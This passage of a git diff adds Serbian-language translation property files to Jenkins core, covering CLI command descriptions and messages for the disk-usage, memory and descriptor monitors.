b/core/src/main/resources/hudson/cli/Messages_sr.properties @@ -0,0 +1,68 @@ +# This file is under the MIT License by authors + +InstallPluginCommand.DidYouMean={0} \u043B\u0438\u0447\u0438 \u043D\u0430 \u043A\u0440\u0430\u0442\u043A\u043E \u0438\u043C\u0435 \u0437\u0430 \u043C\u043E\u0434\u0443\u043B\u0443. \u0414\u0430 \u043B\u0438 \u0441\u0442\u0435 \u043C\u0438\u0441\u043B\u0438\u043B\u0438 \u2018{1}\u2019? +InstallPluginCommand.InstallingFromUpdateCenter=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u045A\u0435 "{0}" \u0441\u0430 \u0446\u0435\u043D\u0442\u0440\u0430 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0430\u045A\u0430 +InstallPluginCommand.InstallingPluginFromLocalFile=\u0418\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0430 \u043C\u043E\u0434\u0443\u043B\u0430 \u0441\u0430 \u043B\u043E\u043A\u0430\u043B\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 "{0}" +InstallPluginCommand.InstallingPluginFromUrl=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u045A\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u0441\u0430 {0} +InstallPluginCommand.NoUpdateCenterDefined=\u041D\u0438\u0458\u0435 \u043D\u0430\u0432\u0435\u0434\u0435\u043D \u0441\u0430\u0458\u0442 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 \u0443 \u043E\u0432\u043E\u0458 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0438 Jenkins. +InstallPluginCommand.NoUpdateDataRetrieved=\ \u041D\u0438\u0441\u0443 \u0458\u043E\u0448 \u043F\u0440\u0435\u0443\u0437\u0435\u0442\u0438 \u043F\u043E\u0434\u0430\u0446\u0438 \u0438\u0437 \u0446\u0435\u043D\u0442\u0440\u0430 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435: {0} +InstallPluginCommand.NotAValidSourceName="{0}" \u043D\u0438\u0458\u0435 \u043D\u0438 \u0438\u043C\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435, URL \u0430\u0434\u0440\u0435\u0441\u0430, \u043D\u0438\u0442\u0438 \u0438\u043C\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u043D\u0430 \u0446\u0435\u043D\u0442\u0440\u0443 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435 +AddJobToViewCommand.ShortDescription=\u041F\u0440\u0438\u043A\u0430\u0436\u0438 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u0443 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0443 +BuildCommand.ShortDescription=\ \u041F\u043E\u043A\u0440\u0435\u043D\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430 \u0438 \u043E\u043F\u0446\u0438\u043E\u043D\u043E \u0447\u0435\u043A\u0430 \u0437\u0430 \u045A\u0435\u0433\u043E\u0432 \u0437\u0430\u0432\u0440\u0448\u0435\u0442\u0430\u043A +ConsoleCommand.ShortDescription=\u041F\u0440\u0435\u0443\u0437\u043C\u0435 \u0440\u0435\u0437\u0443\u043B\u0442\u0430\u0442 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +CopyJobCommand.ShortDescription=\u0418\u0441\u043A\u043E\u043F\u0438\u0440\u0430 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +CreateJobCommand.ShortDescription=\u041A\u0440\u0435\u0438\u0440\u0430 \u043D\u043E\u0432\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A \u0447\u0438\u0442\u0430\u0458\u0443\u045B\u0438 stdin \u043A\u0430\u043E \u043A\u043E\u043D\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043E\u043D\u0443 XML \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0443 +CreateNodeCommand.ShortDescription=\u041A\u0440\u0435\u0438\u0440\u0430 \u043D\u043E\u0432\u0443 \u043C\u0430\u0448\u0438\u043D\u0443 \u0447\u0438\u0442\u0430\u0458\u0443\u045B\u0438 stdin \u043A\u0430\u043E \u043A\u043E\u043D\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043E\u043D\u0443 XML \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0443 +CreateViewCommand.ShortDescription=\u041A\u0440\u0435\u0438\u0440\u0430 \u043D\u043E\u0432\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 \u0447\u0438\u0442\u0430\u0458\u0443\u045B\u0438 stdin \u043A\u0430\u043E \u043A\u043E\u043D\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043E\u043D\u0443 XML \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0443 +DeleteBuildsCommand.ShortDescription=\u0418\u0437\u0431\u0440\u0438\u0448\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0438 +DeleteViewCommand.ShortDescription=\u0418\u0437\u0431\u0440\u0438\u0448\u0435 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 +DeleteJobCommand.ShortDescription=\u0418\u0437\u0431\u0440\u0438\u0448\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A +GroovyCommand.ShortDescription=\u0418\u0437\u0432\u0440\u0448\u0438 \u043D\u0430\u0432\u0435\u0434\u0435\u043D Groovy \u043F\u0440\u043E\u0433\u0440\u0430\u043C +GroovyshCommand.ShortDescription=\u041F\u043E\u043A\u0440\u0435\u043D\u0435 \u0438\u043D\u0442\u0435\u0440\u0430\u043A\u0442\u0438\u0432\u0430\u043D \u0438\u043D\u0442\u0435\u0440\u043F\u0440\u0435\u0442\u0430\u0442\u043E\u0440 \u0437\u0430 Groovy +HelpCommand.ShortDescription=\u0418\u0441\u043F\u0438\u0448\u0435 \u0441\u0432\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435 \u0438\u043B\u0438 \u0434\u0435\u0442\u0430\u0459\u043D\u0438 \u043E\u043F\u0438\u0441 \u043E\u0434\u0440\u0435\u0452\u0435\u043D\u0435 \u043A\u043E\u043C\u0430\u043D\u0434\u0435. +InstallPluginCommand.ShortDescription=\u0418\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430 \u043C\u043E\u0434\u0443\u043B\u0443 \u0441\u0430 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435, URL \u0430\u0434\u0440\u0435\u0441\u0435, \u0438\u043B\u0438 \u0446\u0435\u043D\u0442\u0440\u0430 \u0437\u0430 \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u045A\u0435. +InstallToolCommand.ShortDescription=\u0410\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u043E \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430 \u0430\u043B\u0430\u0442 \u0438 \u043F\u0440\u0438\u043A\u0430\u0436\u0435 \u045A\u0435\u0433\u043E\u0432\u0443 \u043B\u043E\u043A\u0430\u0446\u0438\u0458\u0438 \u043D\u0430 stdout. \u041C\u043E\u0436\u0435 \u0441\u0430\u043C\u043E \u0431\u0438\u0442\u0438 \u043F\u043E\u0437\u0432\u0430\u043D \u0443\u043D\u0443\u0442\u0430\u0440 \u0437\u0430\u0434\u0430\u0442\u043A\u043E\u043C. +ListChangesCommand.ShortDescription=\u041F\u0440\u0438\u043A\u0430\u0436\u0435 \u0434\u043D\u0435\u0432\u043D\u0438\u043A \u0438\u0437\u043C\u0435\u043D\u0430 \u0437\u0430 \u043D\u0430\u0432\u0435\u0434\u0435\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u045A\u0430. +ListJobsCommand.ShortDescription=\u041F\u0440\u0438\u043A\u0430\u0436\u0435 \u0441\u0432\u0435 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u043E\u0434\u0440\u0435\u0452\u0435\u043D\u0435 \u0432\u0440\u0441\u0442\u0435 \u0438\u043B\u0438 \u0433\u0440\u0443\u043F\u0435. +ListPluginsCommand.ShortDescription=\u041F\u0440\u0438\u043A\u0430\u0436\u0435 \u0441\u043F\u0438\u0441\u0430\u043A \u0438\u043D\u0441\u0442\u0430\u043B\u0438\u0440\u0430\u043D\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430. +LoginCommand.ShortDescription=\u0421\u0430\u0447\u0443\u0432\u0430 \u0438\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0446\u0438\u0458\u0443, \u0434\u0430 \u0431\u0438 \u043D\u0430\u043A\u043D\u0430\u0434\u043D\u0438 \u0437\u0430\u0434\u0430\u0446\u0438 \u043C\u043E\u045B\u0438 \u0438\u0437\u0432\u0440\u0448\u0438\u0442\u0438 \u0431\u0435\u0437 \u043F\u043E\u043D\u043E\u0432\u0443 \u0438\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0446\u0438\u0458\u0443. +LogoutCommand.ShortDescription=\u0418\u0437\u0431\u0440\u0438\u0448\u0435 \u0438\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0446\u0438\u0458\u0443 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u043E \u043F\u0440\u0438\u043B\u0438\u043A\u043E\u043C \u043F\u0440\u0438\u0458\u0430\u0432\u0435. +MailCommand.ShortDescription=\u0418\u0437\u0447\u0438\u0442\u0430 stdin \u0438 \u043F\u043E\u0448\u0430\u0459\u0435 \u0441\u0430\u0434\u0440\u0436\u0430\u0458 \u043F\u0440\u0435\u043A\u043E \u0435-\u043F\u043E\u0448\u0442\u0435. +SetBuildParameterCommand.ShortDescription=\u0423\u0440\u0435\u0452\u0438\u0432\u0430\u045A\u0435/\u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0430\u045A\u0435 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0430\u0440\u0430 \u043D\u0430 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u043E\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0438. +SetBuildDescriptionCommand.ShortDescription=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 \u043E\u043F\u0438\u0441 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +SetBuildResultCommand.ShortDescription=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 \u0440\u0435\u0437\u0443\u043B\u0442\u0430\u0442 \u043D\u0430 \u0442\u0440\u0435\u043D\u0443\u0442\u043D\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443. \u041C\u043E\u0436\u0435 \u0431\u0438\u0442\u0438 \u043F\u043E\u0437\u0432\u0430\u043D\u043E \u0441\u0430\u043C\u043E \u0443\u043D\u0443\u0442\u0430\u0440 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. +RemoveJobFromViewCommand.ShortDescription=\u0423\u043A\u043B\u043E\u043D\u0438 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 \u0441\u0430 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 +VersionCommand.ShortDescription=\u041F\u0440\u0438\u043A\u0430\u0436\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0443 Jenkins. +GetJobCommand.ShortDescription=\u0418\u0441\u043F\u0438\u0448\u0435 \u0434\u0435\u0444\u0438\u043D\u0438\u0446\u0438\u0458\u0443 \u0437\u0430\u0434\u0430\u0442\u043A\u0430 \u0443 XML \u0444\u043E\u0440\u043C\u0430\u0442\u0443 \u043D\u0430 stdout. +GetNodeCommand.ShortDescription=\u0418\u0441\u043F\u0438\u0448\u0435 \u0434\u0435\u0444\u0438\u043D\u0438\u0446\u0438\u0458\u0443 \u043C\u0430\u0448\u0438\u043D\u0435 \u0443 XML \u0444\u043E\u0440\u043C\u0430\u0442\u0443 \u043D\u0430 stdout. +GetViewCommand.ShortDescription=\u0418\u0441\u043F\u0438\u0448\u0435 \u0434\u0435\u0444\u0438\u043D\u0438\u0446\u0438\u0458\u0443 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 \u0443 XML \u0444\u043E\u0440\u043C\u0430\u0442\u0443 \u043D\u0430 stdout. +SetBuildDisplayNameCommand.ShortDescription=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 \u0438\u043C\u0435 (displayName) \u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0438. +WhoAmICommand.ShortDescription=\u0418\u0437\u0432\u0435\u0448\u0442\u0430je \u0432\u0430\u0448\u0435 \u0430\u043A\u0440\u0435\u0434\u0438\u0442\u0438\u0432\u0435 \u0438 \u043F\u0440\u0430\u0432\u0430. +UpdateJobCommand.ShortDescription=\u0410\u0436\u0443\u0440\u0438\u0440\u0430 XML \u0434\u0435\u0444\u0438\u043D\u0438\u0446\u0438\u0458\u0443 \u0437\u0430\u0434\u0430\u0442\u043A\u0430 \u0438\u0437 stdin, \u0437\u0430 \u0440\u0430\u0437\u043B\u0438\u043A\u0443 \u043E\u0434 get-job \u043A\u043E\u043C\u0430\u043D\u0434\u0435. +UpdateNodeCommand.ShortDescription=\u0410\u0436\u0443\u0440\u0438\u0440\u0430 XML \u0434\u0435\u0444\u0438\u043D\u0438\u0446\u0438\u0458\u0443 \u043C\u0430\u0448\u0438\u043D\u0435 \u0438\u0437 stdin, \u0437\u0430 \u0440\u0430\u0437\u043B\u0438\u043A\u0443 \u043E\u0434 get-node \u043A\u043E\u043C\u0430\u043D\u0434\u0435. +SessionIdCommand.ShortDescription=\u0418\u0437\u0458\u0430\u0432\u0438 \u0438\u0434\u0435\u043D\u0442\u0438\u0444\u0438\u043A\u0430\u0442\u043E\u0440\u0430 \u0441\u0435\u0441\u0438\u0458\u0435, \u0448\u0442\u043E \u0441\u0435 \u043C\u0435\u045A\u0430 \u0441\u0432\u0430\u043A\u0438 \u043F\u0443\u0442 \u043A\u0430\u0434\u0430 \u043F\u043E\u043A\u0440\u0435\u043D\u0435\u0442\u0435 Jenkins. +UpdateViewCommand.ShortDescription=\u0410\u0436\u0443\u0440\u0438\u0440\u0430 XML \u0434\u0435\u0444\u0438\u043D\u0438\u0446\u0438\u0458\u0443 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 \u0438\u0437 stdin, \u0437\u0430 \u0440\u0430\u0437\u043B\u0438\u043A\u0443 \u043E\u0434 get-view \u043A\u043E\u043C\u0430\u043D\u0434\u0435. +BuildCommand.CLICause.ShortDescription=\u0417\u0430\u0434\u0430\u0442\u0430\u043A \u0458\u0435 \u043F\u043E\u043A\u0440\u0435\u043D\u0443\u0442 \u043F\u0440\u0435\u043A\u043E \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435 \u0441\u0430 \u043A\u043E\u043C\u0430\u043D\u0434\u043E\u043C "{0}" +BuildCommand.CLICause.CannotBuildDisabled=\ +\u041D\u0435 \u043C\u043E\u0436\u0435 \u0441\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u0438\u0442\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A "{0}" \u0437\u0430\u0448\u0442\u043E \u0458\u0435 \u043E\u043D\u0435\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u043E. +BuildCommand.CLICause.CannotBuildConfigNotSaved=\ +\u041D\u0435 \u043C\u043E\u0436\u0435 \u0441\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u0438\u0442\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A "{0}" \u0437\u0430\u0448\u0442\u043E \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u043D\u0438\u0441\u0443 \u0441\u0430\u0447\u0443\u0432\u0430\u043D\u0430. +BuildCommand.CLICause.CannotBuildUnknownReasons=\ +\u041D\u0435 \u043C\u043E\u0436\u0435 \u0441\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u0438\u0442\u0438 \u0437\u0430\u0434\u0430\u0442\u0430\u043A "{0}" \u0437\u0431\u043E\u0433 \u043D\u0435\u043F\u043E\u0437\u043D\u0430\u0442\u043E\u0433 \u0440\u0430\u0437\u043B\u043E\u0433\u0430. +DeleteNodeCommand.ShortDescription=\ +\u0423\u043A\u043B\u043E\u043D\u0438 \u043C\u0430\u0448\u0438\u043D\u0443 +ReloadJobCommand.ShortDescription=\ +\u041F\u043E\u043D\u043E\u0432\u043E \u043F\u0440\u0435\u0443\u0437\u043C\u0435 \u0437\u0430\u0434\u0430\u0442\u043A\u0435 +OnlineNodeCommand.ShortDescription=\u041D\u0430\u0441\u0442\u0430\u0432\u0438 \u043A\u043E\u0440\u0438\u0448\u045B\u0435\u045A\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443, \u0448\u0442\u043E \u043F\u043E\u043D\u0438\u0448\u0442\u0430\u0432\u0430 \u043F\u0440\u0435\u0442\u0445\u043E\u0434\u043D\u0443 \u043A\u043E\u043C\u0430\u043D\u0434\u0443 "offline-node". +ClearQueueCommand.ShortDescription=\u0418\u0437\u0431\u0440\u0438\u0448\u0435 \u0437\u0430\u043A\u0430\u0437\u0430\u043D\u0435 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0435. +ReloadConfigurationCommand.ShortDescription=\u041E\u0434\u0431\u0430\u0446\u0438 \u0441\u0432\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \u0443 \u043C\u0435\u043C\u043E\u0440\u0438\u0458\u0438, \u0438 \u043F\u043E\u043D\u043E \u0443\u0447\u0438\u0442\u0430\u0458 \u0441\u0432\u0435 \u0438\u0437 \u0434\u0430\u0442\u043E\u0442\u0435\u0447\u043D\u043E\u0433 \u0441\u0438\u0441\u0442\u0435\u043C\u0430. \u041A\u043E\u0440\u0438\u0441\u043D\u043E \u043A\u0430\u0434 \u0441\u0442\u0435 \u043C\u0435\u045A\u0430\u043B\u0438 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0434\u0438\u0440\u0435\u043A\u0442\u043D\u043E. +ConnectNodeCommand.ShortDescription=\u041F\u043E\u043D\u043E\u0432\u043E \u0441\u0435 \u043F\u043E\u0432\u0435\u0436\u0438\u0442\u0435 \u043D\u0430 \u043C\u0430\u0448\u0438\u043D\u0443 +QuietDownCommand.ShortDescription=\u041F\u0440\u0438\u043F\u0440\u0435\u043C\u0438 Jenkins \u0437\u0430 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0435. \u041D\u0438\u0441\u0443 \u0434\u043E\u0437\u0432\u043E\u0459\u0435\u043D\u0430 \u043D\u043E\u0432\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430. +DisconnectNodeCommand.ShortDescription=\u041F\u0440\u0435\u043A\u0438\u043D\u0435 \u0432\u0435\u0437\u0443 \u0441\u0430 \u043C\u0430\u0448\u0438\u043D\u043E\u043C. +CancelQuietDownCommand.ShortDescription=\u041F\u043E\u043D\u0438\u0448\u0442\u0438 \u043C\u0435\u0440\u0435 \u043F\u043E\u0447\u0435\u0442\u0435 \u0437\u0430 \u043F\u0440\u0438\u043F\u0440\u0435\u043C\u0443 \u043F\u043E\u043D\u043E\u0432\u043E\u0433 \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0430. +OfflineNodeCommand.ShortDescription=\u0421\u0443\u0441\u043F\u0435\u043D\u0437\u0438\u0458\u0430 \u0443\u043F\u043E\u0442\u0440\u0435\u0431\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 \u0434\u043E \u0441\u043B\u0435\u0434\u0435\u045B\u0435 "online-node" \u043A\u043E\u043C\u0430\u043D\u0434\u0435. +WaitNodeOnlineCommand.ShortDescription=\u0421\u0430\u0447\u0435\u043A\u0430\u0458 \u0434\u043E\u043A \u043D\u0435\u043A\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 \u0431\u0443\u0434\u0435 \u0434\u043E\u0441\u0442\u0443\u043F\u043D\u0430. +WaitNodeOfflineCommand.ShortDescription=\u0421\u0430\u0447\u0435\u043A\u0430\u0458 \u0434\u043E\u043A \u043D\u0435\u043A\u0430 \u043C\u0430\u0448\u0438\u043D\u0430 \u0431\u0443\u0434\u0435 \u043D\u0435\u0434\u043E\u0441\u0442\u0443\u043F\u043D\u0430. +CliProtocol.displayName=\u041F\u0440\u043E\u0442\u043E\u043A\u043E\u043B \u0437\u0430 Jenkins \u043F\u0440\u0435\u043A\u043E \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435, \u0432\u0435\u0440\u0437\u0438\u0458\u0430 1 +CliProtocol2.displayName=\u041F\u0440\u043E\u0442\u043E\u043A\u043E\u043B \u0437\u0430 Jenkins \u043F\u0440\u0435\u043A\u043E \u043A\u043E\u043C\u0430\u043D\u0434\u043D\u0435 \u043B\u0438\u043D\u0438\u0458\u0435, \u0432\u0435\u0440\u0437\u0438\u0458\u0430 2 +CLI.delete-node.shortDescription=\u0423\u043A\u043B\u043E\u043D\u0438 \u043C\u0430\u0448\u0438\u043D\u0443 \ No newline at end of file diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties new file mode 100644 index 0000000000..2208ac4a58 --- /dev/null +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties @@ -0,0 +1,12 @@ +# This file is under the MIT License by authors + +JENKINS_HOME\ is\ almost\ full=JENKINS_HOME \u0458\u0435 \u0441\u043A\u043E\u0440\u043E \u043F\u0440\u0435\u043F\u0443\u043D\u043E +blurb=JENKINS_HOME \u0458\u0435 \u0441\u043A\u043E\u0440\u043E \u043F\u0440\u0435\u043F\u0443\u043D\u043E +description.1=\ \u0412\u0430\u0448 JENKINS_HOME ({0}) \u0458\u0435 \u0441\u043A\u043E\u0440\u043E \u043F\u0440\u0435\u043F\u0443\u043D. \ + \u041A\u0430\u0434 \u0441\u0435 \u0441\u043A\u0440\u043E\u0437 \u043D\u0430\u043F\u0443\u043D\u0438 \u043E\u0432\u0430\u0458 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0443\u043C, Jenkins \u043D\u0435\u045B\u0435 \u043C\u043E\u045B\u0438 \u043F\u0438\u0441\u0430\u0442\u0438 \u0432\u0438\u0448\u0435 \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430. +description.2=\u0414\u0430 \u0431\u0438 \u0441\u0435 \u0441\u043F\u0440\u0435\u0447\u0438\u043E \u043E\u0432\u0430\u0458 \u043F\u0440\u043E\u0431\u043B\u0435\u043C, \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E \u0458\u0435 \u0434\u0435\u043B\u043E\u0432\u0430\u0442\u0438 \u043E\u0434\u043C\u0430\u0445. +solution.1=\u041E\u0431\u0440\u0438\u0448\u0435\u0442\u0435 \u043D\u0435\u043A\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0441\u0430 \u043E\u0432\u0435 \u043F\u0430\u0440\u0442\u0438\u0446\u0438\u0458\u0435 \u0434\u0430 \u0431\u0438 \u0441\u0435 \u043E\u0441\u043B\u043E\u0431\u043E\u0434\u0438\u043B\u043E \u043C\u0435\u0441\u0442\u0430. +solution.2=\ +\u041F\u0440\u0435\u0431\u0430\u0446\u0438\u0442\u0435 <\u0422\u0422>JENKINS_HOME \u0432\u0435\u045B\u043E\u0458 \u043F\u0430\u0440\u0442\u0438\u0446\u0438\u0458\u0438.\ +\u041F\u043E\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 <\u0430 href="http://wiki.jenkins-ci.org/display/JENKINS/Administering+\u040F\u0435\u043D\u043A\u0438\u043D\u0441">\u0412\u0438\u043A\u0438 \u0442\u043E\u043C\u0435 \u043A\u0430\u043A\u043E \u0434\u0430 \u0442\u043E \u0443\u0440\u0430\u0434\u0438\u0442\u0438. +Dit= diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/message_sr.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/message_sr.properties new file mode 100644 index 0000000000..7f5e6eac95 --- /dev/null +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/message_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Tell\ me\ more=\u041E\u0431\u0458\u0430\u0441\u043D\u0438 +Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 +blurb=\u0412\u0430\u0448 Jenkins \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C "{0}" (<\u0422\u0422>JENKINS_HOME) \u0458\u0435 \u0441\u043A\u043E\u0440\u043E \u043F\u0440\u0435\u043F\u0443\u043D. \u0414\u0435\u043B\u0443\u0458\u0442\u0435 \u043F\u0440\u0435 \u043D\u0435\u0433\u043E \u0448\u0442\u043E \u0458\u0435 \u0441\u043A\u0440\u043E\u0437 \u043F\u0440\u0435\u043F\u0443\u043D. diff --git a/core/src/main/resources/hudson/diagnosis/MemoryUsageMonitor/index_sr.properties b/core/src/main/resources/hudson/diagnosis/MemoryUsageMonitor/index_sr.properties new file mode 100644 index 0000000000..1f7374f746 --- /dev/null +++ b/core/src/main/resources/hudson/diagnosis/MemoryUsageMonitor/index_sr.properties @@ -0,0 +1,7 @@ +# This file is under the MIT License by authors + +JVM\ Memory\ Usage=\u0423\u043F\u043E\u0442\u0440\u0435\u0431\u0430 \u043C\u0435\u043C\u043E\u0440\u0438\u0458\u0435 Java \u0432\u0438\u0440\u0442\u0443\u0435\u043B\u043D\u0435 \u043C\u0430\u0448\u0438\u043D\u0435 +Timespan=\u0412\u0440\u0435\u043C\u0435 +Short=\u041A\u0440\u0430\u0442\u043A\u043E +Medium=\u0421\u0440\u0435\u0434\u045A\u0435 +Long=\u0414\u0443\u0433\u043E diff --git a/core/src/main/resources/hudson/diagnosis/Messages_sr.properties b/core/src/main/resources/hudson/diagnosis/Messages_sr.properties new file mode 100644 index 0000000000..b070f89027 --- /dev/null +++ b/core/src/main/resources/hudson/diagnosis/Messages_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authorsMemoryUsageMonitor.USED=\u041A\u043E\u0440\u0438\u0441\u0442\u0438 + +MemoryUsageMonitor.TOTAL=\u0423\u043A\u0443\u043F\u043D\u043E +OldDataMonitor.Description=\u0418\u0437\u0431\u0440\u0438\u0448\u0438\u0442\u0435 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0434\u0430 \u0431\u0438\u0441\u0442\u0435 \u0443\u043A\u043B\u043E\u043D\u0438\u043B\u0438 \u0441\u0432\u0435 \u043E\u0441\u0442\u0430\u0442\u043A\u0435 \u043E\u0434 \u0441\u0442\u0430\u0440\u0438\u0445 \u043C\u043E\u0434\u0443\u043B\u0430 \u0438 \u0432\u0435\u0440\u0437\u0438\u0458\u0430. +OldDataMonitor.DisplayName=\u0423\u0440\u0435\u0434\u0438 \u0441\u0442\u0430\u0440\u0435 \u043F\u043E\u0434\u0430\u0442\u043A\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/diagnosis/NullIdDescriptorMonitor/message_sr.properties b/core/src/main/resources/hudson/diagnosis/NullIdDescriptorMonitor/message_sr.properties new file mode 100644 index 0000000000..352d8fc5cf --- /dev/null +++ b/core/src/main/resources/hudson/diagnosis/NullIdDescriptorMonitor/message_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +blurb=\u0421\u043B\u0435\u0434\u0435\u045B\u0438 \u0434\u043E\u0434\u0430\u0446\u0438 \u043D\u0435\u043C\u0430\u0458\u0443 \u0418\u0414 \u0438 \u0442\u0430\u043A\u043E, \u0432\u0435\u0440\u043E\u0432\u0430\u0442\u043D\u043E, \u0443\u0437\u0440\u043E\u043A \u043D\u0435\u043A\u043E\u0433 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u0430\u0436\u0443\u0440\u0438\u0440\u0430\u0458\u0442\u0435 \u043E\u0432\u0435 \u043C\u043E\u0434\u0443\u043B\u0435 \u0430\u043A\u043E \u043D\u0438\u0441\u0443 \u043F\u043E\u0441\u043B\u0435\u0434\u045A\u0435 \u0432\u0435\u0440\u0437\u0438\u0458\u0435. \u0410\u043A\u043E \u0432\u0435\u045B \u0458\u0435\u0441\u0443 \u043F\u043E\u0441\u043B\u0435\u0434\u045A\u0435, \u0434\u0430\u0458\u0442\u0435 \u0438\u0437\u0432\u0435\u0448\u0442\u0430\u0458 \u043E \u0433\u0440\u0435\u0448\u043A\u0430\u043C\u0430 \u0434\u0430 \u043C\u043E\u0436\u0435\u043C\u043E \u0434\u0430 \u0438\u0445 \u0438\u0441\u043F\u0440\u0430\u0432\u0438\u043C\u043E. +problem=\u0414\u0435\u0441\u043A\u0440\u0438\u043F\u0442\u043E\u0440 {0} \u0438\u0437 \u043C\u043E\u0434\u0443\u043B\u0435 {2} \u0441\u0430 \u0438\u043C\u0435\u043D\u043E\u043C {1} diff --git 